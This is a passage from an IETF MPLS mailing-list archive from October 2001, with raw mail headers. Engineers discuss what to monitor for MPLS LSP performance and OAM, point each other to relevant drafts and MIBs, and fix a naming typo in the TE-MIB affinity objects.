monitoring, not only of performance, but also fault detection, connectivity
verification, etc.

Enrique 
_______________ 
ecuevas@att.com 
Tel. (732)-420-3252 

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Wednesday, October 31, 2001 9:46 AM
To: Per Eirik Heimdal
Cc: mpls@UU.NET
Subject: Re: Performance Monitoring on MPLS





Can anybody help with suggestions to what should be monitored on MPLS level
to give an impression of the performance? I am thinking of both traffic
parameters and operational isssues (indications if an LSP has gone down
etc.)


        Can you give me an idea of which applications of MPLS
you are interesting in monitoring (i.e.: VPN, TE, PWE3,
general/auto-routed)?
That will allow me to be specific about what is available from the IETF
and elsewhere.

        --Tom





I would also appreciate references to drafts, RFCs etc. eventually
describing this.






Thanks!
BR
Per Eirik 




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C16220.6D8A77D2
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3018.900" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face="News Gothic MT" size=2><SPAN 
class=240221715-31102001>Tom,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face="News Gothic MT" size=2><SPAN 
class=240221715-31102001>How about for all of the applications you mentioned? I 
think that would be very helpful. After all, operators plan to use MPLS for 
various applications and we are seeking for a robust MPLS platform that can 
provide adequate monitoring, not only of performance, but also fault detection, 
connectivity verification, etc.</SPAN></FONT></DIV>
<P><B><I><FONT color=#000080 face="News Gothic MT" size=2>Enrique</FONT></I></B> 
<BR><B><I><FONT color=#000080 face="News Gothic MT" 
size=2>_______________</FONT></I></B> <BR><FONT color=#000080 
face="News Gothic MT" size=2>ecuevas@att.com</FONT> <BR><FONT color=#000080 
face="News Gothic MT" size=2>Tel. (732)-420-3252</FONT> </P>
<BLOCKQUOTE>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau 
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Wednesday, October 31, 2001 9:46 
  AM<BR><B>To:</B> Per Eirik Heimdal<BR><B>Cc:</B> 
  mpls@UU.NET<BR><B>Subject:</B> Re: Performance Monitoring on 
  MPLS<BR><BR></DIV></FONT><FONT size=3><BR>
  <BLOCKQUOTE cite type="cite">Can anybody help with suggestions to what 
    should be monitored on MPLS level to give an impression of the performance? 
    I am thinking of both traffic parameters and operational isssues 
    (indications if an LSP has gone down 
  etc.)</FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Can 
  you give me an idea of which applications of MPLS<BR>you are interesting in 
  monitoring (i.e.: VPN, TE, PWE3, general/auto-routed)?<BR>That will allow me 
  to be specific about what is available from the IETF<BR>and 
  elsewhere.<BR><BR><FONT 
  size=3><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR>
  <BLOCKQUOTE cite type="cite">I would also appreciate references to drafts, 
    RFCs etc. eventually describing this.</FONT></BLOCKQUOTE><BR><BR><BR><BR><BR>
  <BLOCKQUOTE cite type="cite"><FONT size=3>Thanks!<BR>BR<BR>Per Eirik 
  </FONT></BLOCKQUOTE><BR><BR><BR>
  <DIV>------------------------------------------------------------------------</DIV>Mathematics 
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C16220.6D8A77D2--


From owner-mpls@UU.NET  Wed Oct 31 10:58:15 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22503
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 10:58:14 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlndf24122;
	Wed, 31 Oct 2001 15:58:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlndf05030
	for mpls-outgoing; Wed, 31 Oct 2001 15:57:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlndf05025
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 15:57:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndf06364
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:55:16 GMT
Received: from ckmso1.proxy.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ckmso1.att.com [12.20.58.69])
	id QQlndf18400
	for <mpls@UU.NET>; Wed, 31 Oct 2001 15:55:36 GMT
Received: from njb140r1.ems.att.com ([135.65.202.58])
	by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f9VFsf419903;
	Wed, 31 Oct 2001 10:54:44 -0500 (EST)
Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id KAA01263; Wed, 31 Oct 2001 10:53:21 -0500 (EST)
Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <VF2NXDT4>; Wed, 31 Oct 2001 10:54:40 -0500
Message-ID: <28F05913385EAC43AF019413F674A0170B2649@OCCLUST04EVS1.ugd.att.com>
From: "Ash, Gerald R (Jerry), ALCTA" <gash@att.com>
To: "'Punj, Arun'" <Arun.Punj@marconi.com>,
        "'Per Eirik Heimdal'"
	 <perheim@frisurf.no>, mpls@UU.NET
Cc: "Ash, Gerald R (Jerry), ALCTA" <gash@att.com>
Subject: RE: Performance Monitoring on MPLS
Date: Wed, 31 Oct 2001 10:53:45 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Arun,
Per Eirik,

The Harrison I-D on  "Requirements for OAM in MPLS Networks" can be found at
http://search.ietf.org/internet-drafts/draft-harrison-mpls-oam-req-00.txt.

Also there is a BOF on MPLS OAM planned for IETF-52.

Jerry Ash
AT&T Labs


-----Original Message-----
From: Punj, Arun [mailto:Arun.Punj@marconi.com]
Sent: Wednesday, October 31, 2001 9:30 AM
To: 'Per Eirik Heimdal'; mpls@UU.NET
Subject: RE: Performance Monitoring on MPLS


Per Eirik,

I think what you are asking is how to ensure/monitor the "health" of an LSP.
A healthy LSP L1 (from E1 to E2) would be defined as one which has any or
all of the following features ( depending afcourse on how healhy you want
your LSPs to be).

1. LSP is operationally up. ( A frame input at E1 will arrive at E2)
2. No leakage of traffic from LSP. ( A frame sent on LSP L1 will not be
misinserted into some other LSP L2 )
3. No leakage of traffic into LSP. ( A frame sent on LSP L2 will not be
received on the LSP L1 )
4. Traffic flowing on L1 gets the service contracted for.
[This list is not exhaustive, but representative]

Generally the procedures used to ensure the health of LSPs ( or VCs ) are
refered to as OAM procedures. Some feature desired of these  procedures (in
addition to above requirements) are  :
- They require no user complaints
- They be MPLS application independent (  be applicable for non IP LSPs too
)
- They should be independent of control planes ( although control planes
themselves may use these procedures for OAM ).

Traditionally IP networks have used tools like PING and TRACEROUTE to ensure
that destinations are reachable and trace the path to the destination etc.
Variants of these procedures have been defined recently for MPLS. However,
they all have various shortcomings, having been originally designed only for
IP world. 

There were some internet drafts which tackled the issue of OAM holistically
by folks like Neil harrison, Shahram Davari etc but I am not sure if they
are still current or expired.


thanks
Arun Punj
Office of CTO, Marconi ,
Ph  : 724-742-7583 - Web: www.marconi.com
1000 Marconi Drive, Warrendale, PA - 15086



> -----Original Message-----
> From: Per Eirik Heimdal [mailto:perheim@frisurf.no]
> Sent: Wednesday, October 31, 2001 2:28 AM
> To: mpls@UU.NET
> Subject: Performance Monitoring on MPLS
> 
> 
> Hi all!
> Can anybody help with suggestions to what should be monitored 
> on MPLS level to give an impression of the performance? I am 
> thinking of both traffic parameters and operational isssues 
> (indications if an LSP has gone down etc.)
> 
> I would also appreciate references to drafts, RFCs etc. 
> eventually describing this.
> 
> Thanks!
> BR
> Per Eirik
> 


From owner-mpls@UU.NET  Wed Oct 31 14:02:53 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28029
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 14:02:52 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnds24946;
	Wed, 31 Oct 2001 19:03:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnds24387
	for mpls-outgoing; Wed, 31 Oct 2001 19:02:33 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlnds23576
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 19:02:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlnds25143
	for <mpls@UU.NET>; Wed, 31 Oct 2001 19:01:28 GMT
Received: from vill.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlnds16831
	for <mpls@UU.NET>; Wed, 31 Oct 2001 19:01:48 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id OAA09582;
	Wed, 31 Oct 2001 14:01:04 -0500 (EST)
Message-ID: <3BE04B35.BF4063A0@vill.com>
Date: Wed, 31 Oct 2001 14:04:22 -0500
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Cuevas, Enrique G, ALCTA" <ecuevas@att.com>
CC: Thomas Nadeau <tnadeau@cisco.com>, Per Eirik Heimdal <perheim@frisurf.no>,
        mpls@UU.NET
Subject: Re: Performance Monitoring on MPLS
References: <28F05913385EAC43AF019413F674A0172207FD@OCCLUST04EVS1.ugd.att.com>
Content-Type: multipart/alternative;
 boundary="------------90660575BC1DBB61F35E72E7"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------90660575BC1DBB61F35E72E7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

My impression is draft-ietf-mpls-lsr-mib-07.txt supports performance
monitoring
at the lsp level for all applications.
In addition , there are specific MIB to monitor application running
on the MPLS network. For example, MPLS/VPN has
draft-ietf-ppvpn-mpls-vpn-mib-00.txt  with vrf performance table in it.
MPLS/TE has   draft-ietf-mpls-te-mib-07.txt with tunnel performance
table in it.
I think this what Tom meant.

Irfan Lateef

"Cuevas, Enrique G, ALCTA" wrote:

>  Tom,How about for all of the applications you mentioned? I think that
> would be very helpful. After all, operators plan to use MPLS for
> various applications and we are seeking for a robust MPLS platform
> that can provide adequate monitoring, not only of performance, but
> also fault detection, connectivity verification, etc.Enrique
> _______________
> ecuevas@att.com
> Tel. (732)-420-3252
>
>      -----Original Message-----
>      From: Thomas Nadeau [mailto:tnadeau@cisco.com]
>      Sent: Wednesday, October 31, 2001 9:46 AM
>      To: Per Eirik Heimdal
>      Cc: mpls@UU.NET
>      Subject: Re: Performance Monitoring on MPLS
>
>
>     > Can anybody help with suggestions to what should be
>     > monitored on MPLS level to give an impression of the
>     > performance? I am thinking of both traffic parameters and
>     > operational isssues (indications if an LSP has gone down
>     > etc.)
>
>
>      Can you give me an idea of which applications of MPLS
>      you are interesting in monitoring (i.e.: VPN, TE, PWE3,
>      general/auto-routed)?
>      That will allow me to be specific about what is available
>      from the IETF
>      and elsewhere.
>
>      --Tom
>
>
>
>
>     > I would also appreciate references to drafts, RFCs etc.
>     > eventually describing this.
>
>
>
>
>
>
>
>     > Thanks!
>     > BR
>     > Per Eirik
>
>
>
>
>      -----------------------------------------------------------------------Mathematics
>      is the supreme nostalgia of our time.
>
--
Irfan Lateef
Village Networks Inc,


--------------90660575BC1DBB61F35E72E7
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi,
<p>My impression is draft-ietf-mpls-lsr-mib-07.txt supports performance
monitoring
<br>at the lsp level for all applications.
<br>In addition , there are specific MIB to monitor application running
<br>on the MPLS network. For example, MPLS/VPN has
<br>draft-ietf-ppvpn-mpls-vpn-mib-00.txt&nbsp; with vrf performance table
in it.
<br>MPLS/TE has&nbsp;&nbsp; draft-ietf-mpls-te-mib-07.txt with tunnel performance
table in it.
<br>I think this what Tom meant.
<p>Irfan Lateef
<p>"Cuevas, Enrique G, ALCTA" wrote:
<blockquote TYPE=CITE>&nbsp;<span 
class=240221715-31102001><font face="News Gothic MT"><font color="#0000FF"><font size=-1>Tom,</font></font></font></span><span 
class=240221715-31102001><font face="News Gothic MT"><font color="#0000FF"><font size=-1>How
about for all of the applications you mentioned? I think that would be
very helpful. After all, operators plan to use MPLS for various applications
and we are seeking for a robust MPLS platform that can provide adequate
monitoring, not only of performance, but also fault detection, connectivity
verification, etc.</font></font></font></span><b><i><font face="News Gothic MT"><font color="#000080"><font size=-1>Enrique</font></font></font></i></b>
<br><b><i><font face="News Gothic MT"><font color="#000080"><font size=-1>_______________</font></font></font></i></b>
<br><font face="News Gothic MT"><font color="#000080"><font size=-1>ecuevas@att.com</font></font></font>
<br><font face="News Gothic MT"><font color="#000080"><font size=-1>Tel.
(732)-420-3252</font></font></font>
<blockquote>
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Thomas Nadeau [<A HREF="mailto:tnadeau@cisco.com">mailto:tnadeau@cisco.com</A>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> Wednesday, October 31,
2001 9:46 AM</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Per Eirik Heimdal</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> mpls@UU.NET</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Re: Performance Monitoring
on MPLS</font></font>
<br>&nbsp;</div>

<blockquote cite type="cite"><font size=+0>Can anybody help with suggestions
to what should be monitored on MPLS level to give an impression of the
performance? I am thinking of both traffic parameters and operational isssues
(indications if an LSP has gone down etc.)</font></blockquote>

<p><br><X-TAB></X-TAB>Can you give me an idea of which applications of
MPLS
<br>you are interesting in monitoring (i.e.: VPN, TE, PWE3, general/auto-routed)?
<br>That will allow me to be specific about what is available from the
IETF
<br>and elsewhere.
<p><X-TAB></X-TAB><font size=+0>--Tom</font>
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<blockquote cite type="cite"><font size=+0>I would also appreciate references
to drafts, RFCs etc. eventually describing this.</font></blockquote>

<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<blockquote cite type="cite"><font size=+0>Thanks!</font>
<br><font size=+0>BR</font>
<br><font size=+0>Per Eirik</font></blockquote>

<br>&nbsp;
<br>&nbsp;------------------------------------------------------------------------Mathematics
is the supreme nostalgia of our time.</blockquote>
</blockquote>

<p>--
<br>Irfan Lateef
<br>Village Networks Inc,
<br>&nbsp;</html>

--------------90660575BC1DBB61F35E72E7--



From owner-mpls@UU.NET  Wed Oct 31 14:07:02 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28135
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 14:07:02 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnds12863;
	Wed, 31 Oct 2001 19:06:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnds28198
	for mpls-outgoing; Wed, 31 Oct 2001 19:06:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlnds28071
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 19:06:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlnds05725
	for <mpls@uu.net>; Wed, 31 Oct 2001 19:05:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlnds28628
	for <mpls@uu.net>; Wed, 31 Oct 2001 19:05:24 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA12690 for <mpls@uu.net>; Wed, 31 Oct 2001 14:05:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA00756 for mpls@uu.net; Wed, 31 Oct 2001 14:05:02 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlndr16319
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 18:59:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndr19935
	for <mpls@uu.net>; Wed, 31 Oct 2001 18:59:19 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQlndr12806
	for <mpls@uu.net>; Wed, 31 Oct 2001 18:59:39 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2653.19)
	id <4DV8SHMN>; Wed, 31 Oct 2001 18:59:11 -0000
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F8136175@baker.datcon.co.uk>
From: Edward Harrison <eph@dataconnection.com>
To: "'cheenu@alphion.com'" <cheenu@alphion.com>,
        "'arun@force10networks.com'" <arun@force10networks.com>,
        Cisco -Thomas Nadeau <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Small question on Resource Affinities in draft-ietf-mpls-te-mib-0
	7
Date: Wed, 31 Oct 2001 18:56:47 -0000
Deferred-Delivery: Wed, 31 Oct 2001 18:59:00 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I've just noticed the following object in TE-MIB:

mplsTunnelExcludeAllAffinity OBJECT-TYPE
   SYNTAX        MplsTunnelAffinity
   MAX-ACCESS    read-create
   STATUS        current
   DESCRIPTION
        "A link satisfies the exclude-all constraint if and
          only if the link contains none of the adminstrative
          groups specifie in the constraint."
        REFERENCE "RSVP-TE: Extensions to RSVP for LSP
          Tunnels, draft-ietf-mpls-rsvp-lsp-tunnel-07.txt"
   ::= { mplsTunnelEntry 29 }

>From the description and the name of the corresponding field in the RSVP
SESSION_ATTRIBUTE (LSP_TUNNEL_RA) object, shouldn't this really be called
mplsTunnelExcludeAnyAffinity?  

Ed

PS There also seem to be a few typos in the description - "adminstrative"
and "specifie".

-----------------
Edward Harrison  mailto:eph@dataconnection.com
Network Convergence Group
Data Connection Ltd.
http://www.dataconnection.com/
Tel: +44 20 8366 1177  Fax: +44 20 8363 1468



From owner-mpls@UU.NET  Wed Oct 31 15:02:04 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA29383
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 15:02:04 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlndw14692;
	Wed, 31 Oct 2001 20:01:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlndw16065
	for mpls-outgoing; Wed, 31 Oct 2001 20:01:35 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlndw15468
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 20:01:29 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndw04386
	for <mpls@uu.net>; Wed, 31 Oct 2001 20:00:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlndw24975
	for <mpls@uu.net>; Wed, 31 Oct 2001 20:00:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA20434 for <mpls@uu.net>; Wed, 31 Oct 2001 15:00:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA03375 for mpls@uu.net; Wed, 31 Oct 2001 15:00:01 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlndv10438
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 19:58:29 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndv15668
	for <mpls@uu.net>; Wed, 31 Oct 2001 19:57:09 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlndv20281
	for <mpls@uu.net>; Wed, 31 Oct 2001 19:57:28 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA20034; Wed, 31 Oct 2001 14:57:08 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAF04522;
	Wed, 31 Oct 2001 14:57:06 -0500 (EST)
Message-Id: <4.3.2.7.2.20011031145324.027bfaf8@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 31 Oct 2001 14:58:00 -0500
To: Edward Harrison <eph@dataconnection.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Small question on Resource Affinities in
  draft-ietf-mpls-te-mib-0 7
Cc: "'cheenu@alphion.com'" <cheenu@alphion.com>,
        "'arun@force10networks.com'" <arun@force10networks.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F8136175@baker.datcon.co.uk>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_27173062==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_27173062==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>I've just noticed the following object in TE-MIB:
>
>mplsTunnelExcludeAllAffinity OBJECT-TYPE
>    SYNTAX        MplsTunnelAffinity
>    MAX-ACCESS    read-create
>    STATUS        current
>    DESCRIPTION
>         "A link satisfies the exclude-all constraint if and
>           only if the link contains none of the adminstrative
>           groups specifie in the constraint."
>         REFERENCE "RSVP-TE: Extensions to RSVP for LSP
>           Tunnels, draft-ietf-mpls-rsvp-lsp-tunnel-07.txt"
>    ::= { mplsTunnelEntry 29 }
>
> From the description and the name of the corresponding field in the RSVP
>SESSION_ATTRIBUTE (LSP_TUNNEL_RA) object, shouldn't this really be called
>mplsTunnelExcludeAnyAffinity?

         Yup, this looks like a typo. The MIB currently contains
the following affinity specifications:

mplsTunnelIncludeAnyAffinity
mplsTunnelIncludeAllAffinity
mplsTunnelExcludeAllAffinity   <===*

         But should have:

mplsTunnelIncludeAnyAffinity
mpslTunnelIncludeAllAffinity
mplsTunnelExcludeAnyAffinity   <===*

         One of us will correct this in the current version, but
please bring it up after the IESG reviewed version is issued if
it is missed.

>PS There also seem to be a few typos in the description - "adminstrative"
>and "specifie".

         Thanks for catching these.

         --Tom





------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_27173062==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<blockquote type=cite cite>I've just noticed the following object in
TE-MIB:<br>
<br>
mplsTunnelExcludeAllAffinity OBJECT-TYPE<br>
&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
MplsTunnelAffinity<br>
&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create<br>
&nbsp;&nbsp; STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
current<br>
&nbsp;&nbsp; DESCRIPTION<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;A link satisfies the
exclude-all constraint if and<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; only if the link
contains none of the adminstrative<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; groups specifie in
the constraint.&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REFERENCE &quot;RSVP-TE:
Extensions to RSVP for LSP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tunnels,
draft-ietf-mpls-rsvp-lsp-tunnel-07.txt&quot;<br>
&nbsp;&nbsp; ::= { mplsTunnelEntry 29 }<br>
<br>
 From the description and the name of the corresponding field in the
RSVP<br>
SESSION_ATTRIBUTE (LSP_TUNNEL_RA) object, shouldn't this really be
called<br>
mplsTunnelExcludeAnyAffinity?&nbsp; </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yup, this
looks like a typo. The MIB currently contains<br>
the following affinity specifications:<br>
<br>
mplsTunnelIncludeAnyAffinity <br>
mplsTunnelIncludeAllAffinity <br>
mplsTunnelExcludeAllAffinity&nbsp;&nbsp; &lt;===*<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>But should
have:<br>
<br>
mplsTunnelIncludeAnyAffinity<br>
mpslTunnelIncludeAllAffinity<br>
mplsTunnelExcludeAnyAffinity&nbsp;&nbsp; &lt;===*<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>One of us
will correct this in the current version, but <br>
please bring it up after the IESG reviewed version is issued if<br>
it is missed.<br>
<br>
<blockquote type=cite cite><font size=3>PS There also seem to be a few
typos in the description - &quot;adminstrative&quot;<br>
and &quot;specifie&quot;.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Thanks for
catching these.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_27173062==_.ALT--



From owner-mpls@UU.NET  Wed Oct 31 21:52:52 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA08622
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 21:52:52 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnex02451;
	Thu, 1 Nov 2001 02:53:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnex24964
